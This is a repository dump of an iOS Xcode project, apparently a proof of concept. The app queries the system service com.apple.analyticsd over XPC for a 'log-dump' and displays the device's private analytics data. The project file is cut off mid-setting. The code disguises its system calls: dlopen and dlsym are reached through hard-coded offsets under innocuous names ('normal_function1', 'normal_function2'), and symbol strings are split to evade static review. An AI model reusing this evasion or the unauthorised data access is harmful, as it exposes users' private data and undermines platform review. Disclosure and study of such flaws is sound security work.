[
  {
    "path": ".gitignore",
    "content": "# Xcode\n#\n# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore\n\n## User settings\nxcuserdata/\n\n## compatibility with Xcode 8 and earlier (ignoring not required starting Xcode 9)\n*.xcscmblueprint\n*.xccheckout\n\n## compatibility with Xcode 3 and earlier (ignoring not required starting Xcode 4)\nbuild/\nDerivedData/\n*.moved-aside\n*.pbxuser\n!default.pbxuser\n*.mode1v3\n!default.mode1v3\n*.mode2v3\n!default.mode2v3\n*.perspectivev3\n!default.perspectivev3\n\n## Obj-C/Swift specific\n*.hmap\n\n## App packaging\n*.ipa\n*.dSYM.zip\n*.dSYM\n\n## Playgrounds\ntimeline.xctimeline\nplayground.xcworkspace\n\n# Swift Package Manager\n#\n# Add this line if you want to avoid checking in source code from Swift Package Manager dependencies.\n# Packages/\n# Package.pins\n# Package.resolved\n# *.xcodeproj\n#\n# Xcode automatically generates this directory with a .xcworkspacedata file and xcuserdata\n# hence it is not needed unless you have added a package configuration file to your project\n# .swiftpm\n\n.build/\n\n# CocoaPods\n#\n# We recommend against adding the Pods directory to your .gitignore. However\n# you should judge for yourself, the pros and cons are mentioned at:\n# https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control\n#\n# Pods/\n#\n# Add this line if you want to avoid checking in source code from the Xcode workspace\n# *.xcworkspace\n\n# Carthage\n#\n# Add this line if you want to avoid checking in source code from Carthage dependencies.\n# Carthage/Checkouts\n\nCarthage/Build/\n\n# Accio dependency management\nDependencies/\n.accio/\n\n# fastlane\n#\n# It is recommended to not store the screenshots in the git repo.\n# Instead, use fastlane to re-generate the screenshots whenever they are needed.\n# For more information about the recommended setup visit:\n# https://docs.fastlane.tools/best-practices/source-control/#source-control\n\nfastlane/report.xml\nfastlane/Preview.html\nfastlane/screenshots/**/*.png\nfastlane/test_output\n\n# Code Injection\n#\n# After new code Injection tools there's a generated folder /iOSInjectionProject\n# https://github.com/johnno1962/injectionforxcode\n\niOSInjectionProject/\n"
  },
  {
    "path": "Analyticsd/Analyticsd-Bridging-Header.h",
    "content": "#include \"c.h\"\n//\n//@import Foundation;\n//\n//typedef void * xpc_object_t;\n//typedef void * xpc_connection_t;\n//typedef void (^xpc_handler_t)(xpc_object_t object);\n//\n//xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t targetq, uint64_t flags);\n//void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);\n//void xpc_connection_resume(xpc_connection_t connection);\n//xpc_object_t xpc_dictionary_create(const char *const  _Nonnull *keys, xpc_object_t  _Nullable const *values, size_t count);\n//void xpc_dictionary_set_string(xpc_object_t xdict, const char *key, const char *string);\n//xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message);\n//const char * xpc_dictionary_get_string(xpc_object_t xdict, const char *key);\n"
  },
  {
    "path": "Analyticsd/AnalyticsdApp.swift",
    "content": "import SwiftUI\n\n@main\nstruct AnalyticsdApp: App {\n    var body: some Scene {\n        WindowGroup {\n            ContentView()\n        }\n    }\n}\n"
  },
  {
    "path": "Analyticsd/Assets.xcassets/AccentColor.colorset/Contents.json",
    "content": "{\n  \"colors\" : [\n    {\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Analyticsd/Assets.xcassets/AppIcon.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"60x60\"\n    },\n    {\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"60x60\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"76x76\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"76x76\"\n    },\n    {\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"83.5x83.5\"\n    },\n    {\n      \"idiom\" : \"ios-marketing\",\n      \"scale\" : \"1x\",\n      \"size\" : \"1024x1024\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Analyticsd/Assets.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Analyticsd/ContentView.swift",
    "content": "import SwiftUI\n\nstruct ContentView: View {\n    @State var json = \"\"\n    @State var jsonData: [(String,Any)] = []\n\n    var body: some View {\n        NavigationView {\n            if !json.isEmpty {\n                List {\n                    NavigationLink(\"Tree\", destination: TreeView(data: jsonData))\n                    NavigationLink(\"Raw JSON\", destination: ScrollView(.vertical, showsIndicators: true, content: {\n                        Text(json)\n                    }))\n                }\n            } else {\n                Text(\"wait\")\n            }\n        }\n        .onAppear {\n            json = analyticsJson()\n            jsonData = (try! JSONSerialization.jsonObject(with: json.data(using: .utf8)!, options: []) as! [String:Any]).sorted { $0.key < $1.key }\n        }\n    }\n}\n\nstruct TreeView: View {\n    let data: [(String,Any)]\n\n    var body: some View {\n        List(data, id: \\.0) { row in\n            if let value = row.1 as? [String:Any] {\n                NavigationLink(row.0, destination: TreeView(data: value.sorted { $0.key < $1.key }))\n            } else if let value = row.1 as? [[String:Any]] {\n                NavigationLink(row.0, destination:\n                    List(Dictionary(grouping: value, by: { ($0[\"name\"] as? String) ?? \"no name\" })\n                            .sorted { $0.key < $1.key }, id: \\.0) { row in\n                        let messages = row.1.map { ($0[\"message\"] as? [String:Any])?.sorted { $0.key < $1.key } ?? []}\n                        NavigationLink(row.0, destination:\n                            List {\n                                ForEach(messages, id: \\.description) { message in\n                                    Section(content: {\n                                        ForEach(message, id: \\.key) { row in\n                                            HStack {\n                                                Text(row.0)\n                                                Spacer()\n                                                Text(\"\\(row.1)\" as String)\n                                            }\n                                        }\n                                    })\n                                }\n                            }.listStyle(GroupedListStyle())\n                        )\n                    }\n                )\n            } else {\n                HStack {\n                    Text(row.0)\n                    Spacer()\n                    Text(\"\\(row.1)\" as String)\n                }\n            }\n        }\n    }\n}\n\nlet dylib = normal_function1([\"/usr/lib/system/libxp\", \".dylib\"].joined(separator: \"c\"), 0)\nlet normalFunction3 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_connection_create_mach_service\"].joined(separator: \"c\")), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self)\nlet normalFunction4 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_connection_set_event_handler\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)\nlet normalFunction5 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_connection_resume\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer) -> Void).self)\nlet normalFunction6 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_dictionary_create\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer?, OpaquePointer?, Int) -> OpaquePointer).self)\nlet normalFunction7 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_dictionary_set_string\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer, UnsafePointer<CChar>, UnsafePointer<CChar>) -> Void).self)\nlet normalFunction8 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_connection_send_message_with_reply_sync\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer, OpaquePointer) -> OpaquePointer).self)\nlet normalFunction9 = unsafeBitCast(normal_function2(dylib, [\"xp\", \"_dictionary_get_string\"].joined(separator: \"c\")), to: (@convention(c) (OpaquePointer, UnsafePointer<CChar>) -> UnsafePointer<CChar>).self)\n\nfunc analyticsJson() -> String {\n    let connection = normalFunction3(\"com.apple.analyticsd\", nil, 2)\n    normalFunction4(connection, { _ in })\n    normalFunction5(connection)\n    let xdict = normalFunction6(nil, nil, 0)\n    normalFunction7(xdict, \"command\", \"log-dump\")\n    let reply = normalFunction8(connection, xdict)\n    return String(cString: normalFunction9(reply, \"log-dump\"))\n}\n\n//\n//func analyticsJson() -> String {\n//    let connection = xpc_connection_create_mach_service(\"com.apple.analyticsd\", nil, 2)\n//    xpc_connection_set_event_handler(connection, { _ in })\n//    xpc_connection_resume(connection)\n//    let xdict = xpc_dictionary_create(nil, nil, 0)\n//    xpc_dictionary_set_string(xdict, \"command\", \"log-dump\")\n//    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)\n//    return String(cString: xpc_dictionary_get_string(reply, \"log-dump\"))\n//}\n"
  },
  {
    "path": "Analyticsd/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDevelopmentRegion</key>\n\t<string>$(DEVELOPMENT_LANGUAGE)</string>\n\t<key>CFBundleExecutable</key>\n\t<string>$(EXECUTABLE_NAME)</string>\n\t<key>CFBundleIdentifier</key>\n\t<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>\n\t<key>CFBundleInfoDictionaryVersion</key>\n\t<string>6.0</string>\n\t<key>CFBundleName</key>\n\t<string>$(PRODUCT_NAME)</string>\n\t<key>CFBundlePackageType</key>\n\t<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>\n\t<key>CFBundleShortVersionString</key>\n\t<string>1.0</string>\n\t<key>CFBundleVersion</key>\n\t<string>1</string>\n\t<key>LSRequiresIPhoneOS</key>\n\t<true/>\n\t<key>UIApplicationSceneManifest</key>\n\t<dict>\n\t\t<key>UIApplicationSupportsMultipleScenes</key>\n\t\t<true/>\n\t</dict>\n\t<key>UIApplicationSupportsIndirectInputEvents</key>\n\t<true/>\n\t<key>UILaunchScreen</key>\n\t<dict/>\n\t<key>UIRequiredDeviceCapabilities</key>\n\t<array>\n\t\t<string>armv7</string>\n\t</array>\n\t<key>UISupportedInterfaceOrientations</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t\t<string>UIInterfaceOrientationLandscapeLeft</string>\n\t\t<string>UIInterfaceOrientationLandscapeRight</string>\n\t</array>\n\t<key>UISupportedInterfaceOrientations~ipad</key>\n\t<array>\n\t\t<string>UIInterfaceOrientationPortrait</string>\n\t\t<string>UIInterfaceOrientationPortraitUpsideDown</string>\n\t\t<string>UIInterfaceOrientationLandscapeLeft</string>\n\t\t<string>UIInterfaceOrientationLandscapeRight</string>\n\t</array>\n</dict>\n</plist>\n"
  },
  {
    "path": "Analyticsd/Preview Content/Preview Assets.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Analyticsd/c.c",
    "content": "#include \"c.h\"\n\nvoid * normal_function1(const char * arg1, int arg2) {\n    return ((void *(*)(const char *, int))((long long)dyld_stub_binder - 20780))(arg1, arg2);\n}\n\nvoid * normal_function2(void * arg1, const char * arg2) {\n    return ((void *(*)(void *, const char *))((long long)dyld_stub_binder - 20648))(arg1, arg2);\n}\n\n//\n//#include <dlfcn.h>\n//#include <stdio.h>\n//void findOffsets() {\n//    printf(\"%lld\\n\",(long long)dyld_stub_binder - (long long)dlopen); // 20780\n//    printf(\"%lld\\n\",(long long)dyld_stub_binder - (long long)dlsym); // 20648\n//}\n"
  },
  {
    "path": "Analyticsd/c.h",
    "content": "#ifndef c_h\n#define c_h\n\n#define NO_UND(func) extern void func(void) asm(#func);\nNO_UND(dyld_stub_binder);\n\nvoid * normal_function1(const char * arg1, int arg2); // dlopen\nvoid * normal_function2(void * arg1, const char * arg2); // dlsym\n//void findOffsets();\n\n#endif /* c_h */\n"
  },
  {
    "path": "Analyticsd.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 50;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\tDF0878E12701ED240055F994 /* c.c in Sources */ = {isa = PBXBuildFile; fileRef = DF0878E02701ED240055F994 /* c.c */; };\n\t\tDF41FC762638AE09007214FA /* AnalyticsdApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF41FC752638AE09007214FA /* AnalyticsdApp.swift */; };\n\t\tDF41FC782638AE09007214FA /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF41FC772638AE09007214FA /* ContentView.swift */; };\n\t\tDF41FC7A2638AE0B007214FA /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = DF41FC792638AE0B007214FA /* Assets.xcassets */; };\n\t\tDF41FC7D2638AE0B007214FA /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = DF41FC7C2638AE0B007214FA /* Preview Assets.xcassets */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXFileReference section */\n\t\tDF0878DF2701ED240055F994 /* c.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = c.h; sourceTree = \"<group>\"; };\n\t\tDF0878E02701ED240055F994 /* c.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = c.c; sourceTree = \"<group>\"; };\n\t\tDF41FC722638AE09007214FA /* Analyticsd.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Analyticsd.app; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\tDF41FC752638AE09007214FA /* AnalyticsdApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnalyticsdApp.swift; sourceTree = \"<group>\"; };\n\t\tDF41FC772638AE09007214FA /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = \"<group>\"; };\n\t\tDF41FC792638AE0B007214FA /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = \"<group>\"; };\n\t\tDF41FC7C2638AE0B007214FA /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = \"Preview Assets.xcassets\"; sourceTree = \"<group>\"; };\n\t\tDF41FC7E2638AE0B007214FA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = \"<group>\"; };\n\t\tDF41FC842638AE2F007214FA /* Analyticsd-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = \"Analyticsd-Bridging-Header.h\"; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXFrameworksBuildPhase section */\n\t\tDF41FC6F2638AE09007214FA /* Frameworks */ = {\n\t\t\tisa = PBXFrameworksBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXFrameworksBuildPhase section */\n\n/* Begin PBXGroup section */\n\t\tDF41FC692638AE09007214FA = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tDF41FC742638AE09007214FA /* Analyticsd */,\n\t\t\t\tDF41FC732638AE09007214FA /* Products */,\n\t\t\t);\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tDF41FC732638AE09007214FA /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tDF41FC722638AE09007214FA /* Analyticsd.app */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tDF41FC742638AE09007214FA /* Analyticsd */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tDF41FC752638AE09007214FA /* AnalyticsdApp.swift */,\n\t\t\t\tDF41FC772638AE09007214FA /* ContentView.swift */,\n\t\t\t\tDF41FC792638AE0B007214FA /* Assets.xcassets */,\n\t\t\t\tDF41FC7E2638AE0B007214FA /* Info.plist */,\n\t\t\t\tDF41FC7B2638AE0B007214FA /* Preview Content */,\n\t\t\t\tDF41FC842638AE2F007214FA /* Analyticsd-Bridging-Header.h */,\n\t\t\t\tDF0878DF2701ED240055F994 /* c.h */,\n\t\t\t\tDF0878E02701ED240055F994 /* c.c */,\n\t\t\t);\n\t\t\tpath = Analyticsd;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tDF41FC7B2638AE0B007214FA /* Preview Content */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tDF41FC7C2638AE0B007214FA /* Preview Assets.xcassets */,\n\t\t\t);\n\t\t\tpath = \"Preview Content\";\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\tDF41FC712638AE09007214FA /* Analyticsd */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = DF41FC812638AE0B007214FA /* Build configuration list for PBXNativeTarget \"Analyticsd\" */;\n\t\t\tbuildPhases = (\n\t\t\t\tDF41FC6E2638AE09007214FA /* Sources */,\n\t\t\t\tDF41FC6F2638AE09007214FA /* Frameworks */,\n\t\t\t\tDF41FC702638AE09007214FA /* Resources */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = Analyticsd;\n\t\t\tproductName = Analyticsd;\n\t\t\tproductReference = DF41FC722638AE09007214FA /* Analyticsd.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\tDF41FC6A2638AE09007214FA /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tLastSwiftUpdateCheck = 1250;\n\t\t\t\tLastUpgradeCheck = 1250;\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\tDF41FC712638AE09007214FA = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 12.5;\n\t\t\t\t\t\tLastSwiftMigration = 1250;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = DF41FC6D2638AE09007214FA /* Build configuration list for PBXProject \"Analyticsd\" */;\n\t\t\tcompatibilityVersion = \"Xcode 9.3\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = DF41FC692638AE09007214FA;\n\t\t\tproductRefGroup = DF41FC732638AE09007214FA /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\tDF41FC712638AE09007214FA /* Analyticsd */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\tDF41FC702638AE09007214FA /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tDF41FC7D2638AE0B007214FA /* Preview Assets.xcassets in Resources */,\n\t\t\t\tDF41FC7A2638AE0B007214FA /* Assets.xcassets in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\tDF41FC6E2638AE09007214FA /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tDF0878E12701ED240055F994 /* c.c in Sources */,\n\t\t\t\tDF41FC782638AE09007214FA /* ContentView.swift in Sources */,\n\t\t\t\tDF41FC762638AE09007214FA /* AnalyticsdApp.swift in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin XCBuildConfiguration section */\n\t\tDF41FC7F2638AE0B007214FA /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.5;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tDF41FC802638AE0B007214FA /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++14\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.5;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_COMPILATION_MODE = wholemodule;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-O\";\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tDF41FC822638AE0B007214FA /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = 